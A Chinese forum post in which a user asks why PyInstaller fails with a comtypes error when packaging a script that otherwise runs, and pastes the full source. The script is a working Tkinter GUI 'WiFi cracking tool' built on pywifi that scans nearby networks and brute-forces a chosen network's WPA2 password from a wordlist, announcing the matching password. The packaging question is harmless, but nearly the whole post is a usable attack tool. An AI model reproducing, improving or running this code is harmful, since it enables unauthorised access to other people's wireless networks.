好友
阅读权限10
听众
最后登录1970-1-1
|
我在pyton直接运行脚本 是正常的
在进行pyinstaller打包时 出现报错comtypes
但我看是有comtypes模块的
以下是源码及报错截图 有没有大神请教一下
源码:
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import threading
import tkinter.filedialog
import tkinter.messagebox
import concurrent.futures
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
self.get_value = StringVar()
self.get_wifi_value = StringVar()
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0]
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
self.stop_flag = threading.Event()
self.lock = threading.Lock()
def __str__(self):
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
def set_init_window(self):
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('600x500')
config_frame = LabelFrame(self.init_window_name, text="配置", padx=10, pady=10)
config_frame.pack(padx=10, pady=10, fill=BOTH, expand=True)
self.search_button = Button(config_frame, text="搜索附近WiFi", command=self.scans_wifi_list)
self.search_button.grid(column=0, row=0, padx=5, pady=5)
self.pojie_button = Button(config_frame, text="开始破解", command=self.start_cracking)
self.pojie_button.grid(column=1, row=0, padx=5, pady=5)
self.label_path = Label(config_frame, text="密码文件路径:")
self.label_path.grid(column=0, row=1, padx=5, pady=5, sticky=W)
self.path_entry = Entry(config_frame, width=50, textvariable=self.get_value)
self.path_entry.grid(column=1, row=1, padx=5, pady=5)
self.file_button = Button(config_frame, text="选择文件", command=self.add_mm_file)
self.file_button.grid(column=2, row=1, padx=5, pady=5)
self.wifi_label = Label(config_frame, text="WiFi账号:")
self.wifi_label.grid(column=0, row=2, padx=5, pady=5, sticky=W)
self.wifi_entry = Entry(config_frame, width=30, textvariable=self.get_wifi_value)
self.wifi_entry.grid(column=1, row=2, padx=5, pady=5)
self.wifi_mm_label = Label(config_frame, text="WiFi密码:")
self.wifi_mm_label.grid(column=2, row=2, padx=5, pady=5, sticky=W)
self.wifi_mm_entry = Entry(config_frame, width=30, textvariable=self.get_wifimm_value)
self.wifi_mm_entry.grid(column=3, row=2, padx=5, pady=5)
self.wifi_list_frame = LabelFrame(config_frame, text="WiFi列表", padx=10, pady=10)
self.wifi_list_frame.grid(column=0, row=3, columnspan=4, padx=5, pady=5, sticky=NSEW)
self.wifi_tree = ttk.Treeview(self.wifi_list_frame, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_list_frame, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=150, anchor="center")
self.wifi_tree.column("c", width=150, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="Signal")
self.wifi_tree.grid(row=0, column=0, sticky=NSEW)
self.vbar.grid(row=0, column=1, sticky=NS)
self.wifi_tree.bind("<Double-1>", self.onDBClick)
self.text_output = Text(config_frame, height=10, width=70)
self.text_output.grid(column=0, row=4, columnspan=4, padx=5, pady=5)
self.progress_label = Label(config_frame, text="破解进度:")
self.progress_label.grid(column=0, row=5, padx=5, pady=5, sticky=W)
self.progress = ttk.Progressbar(config_frame, length=300, mode='determinate')
self.progress.grid(column=1, row=5, columnspan=3, padx=5, pady=5)
def scans_wifi_list(self):
print("^_^ 开始扫描附近WiFi...")
self.iface.scan()
time.sleep(15)
scanres = self.iface.scan_results()
nums = len(scanres)
print("发现的WiFi数量: %s" % (nums))
self.show_scans_wifi_list(scanres)
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
def onDBClick(self, event):
selected_item = self.wifi_tree.selection()
if not selected_item:
return
selected_wifi = self.wifi_tree.item(selected_item[0], "values")
self.get_wifi_value.set(selected_wifi[1]) # 设置WiFi账号到输入框
def start_cracking(self):
self.stop_flag.clear()
self.progress['value'] = 0
threading.Thread(target=self.readPassWord).start()
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander = open(self.getFilePath, "r", errors="ignore")
total_lines = sum(1 for _ in open(self.getFilePath, "r", errors="ignore"))
pwdfilehander.seek(0)
completed_lines = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:
while True:
if self.stop_flag.is_set():
break
try:
self.pwdStr = pwdfilehander.readline().strip()
if not self.pwdStr:
break
future = executor.submit(self.attempt_password, self.pwdStr, self.get_wifissid)
future.result() # 阻塞直到当前密码验证完成
completed_lines += 1
self.progress['value'] = (completed_lines / total_lines) * 100
self.init_window_name.update_idletasks()
time.sleep(1) # 控制线程启动频率
except Exception as e:
print(f"Error: {e}")
continue
executor.shutdown(wait=True)
def attempt_password(self, pwd_Str, wifi_ssid):
if self.stop_flag.is_set():
return
with self.lock:
self.text_output.insert(END, f"尝试密码: {pwd_Str}\n")
self.text_output.see(END)
if self.connect(pwd_Str, wifi_ssid):
self.res = " 密码正确!WiFi名:%s,匹配密码:%s" % (wifi_ssid, pwd_Str)
self.text_output.insert(END, self.res + "\n")
self.text_output.see(END)
tkinter.messagebox.showinfo('提示', f'破解成功!!!\n正确密码是:{pwd_Str}')
self.get_wifimm_value.set(pwd_Str)
self.stop_flag.set()
else:
self.res = " 密码错误!WiFi名:%s,匹配密码:%s" % (wifi_ssid, pwd_Str)
self.text_output.insert(END, self.res + "\n")
self.text_output.see(END)
time.sleep(3) # 增加间隔时间
def connect(self, pwd_Str, wifi_ssid):
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid
self.profile.auth = const.AUTH_ALG_OPEN
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
self.profile.cipher = const.CIPHER_TYPE_CCMP
self.profile.key = pwd_Str
self.iface.remove_all_network_profiles()
self.tmp_profile = self.iface.add_network_profile(self.profile)
self.iface.connect(self.tmp_profile)
time.sleep(5)
isOK = self.iface.status() == const.IFACE_CONNECTED
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
print(ui)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()
|
-
python运行 正常截图
-
打包报错截图
|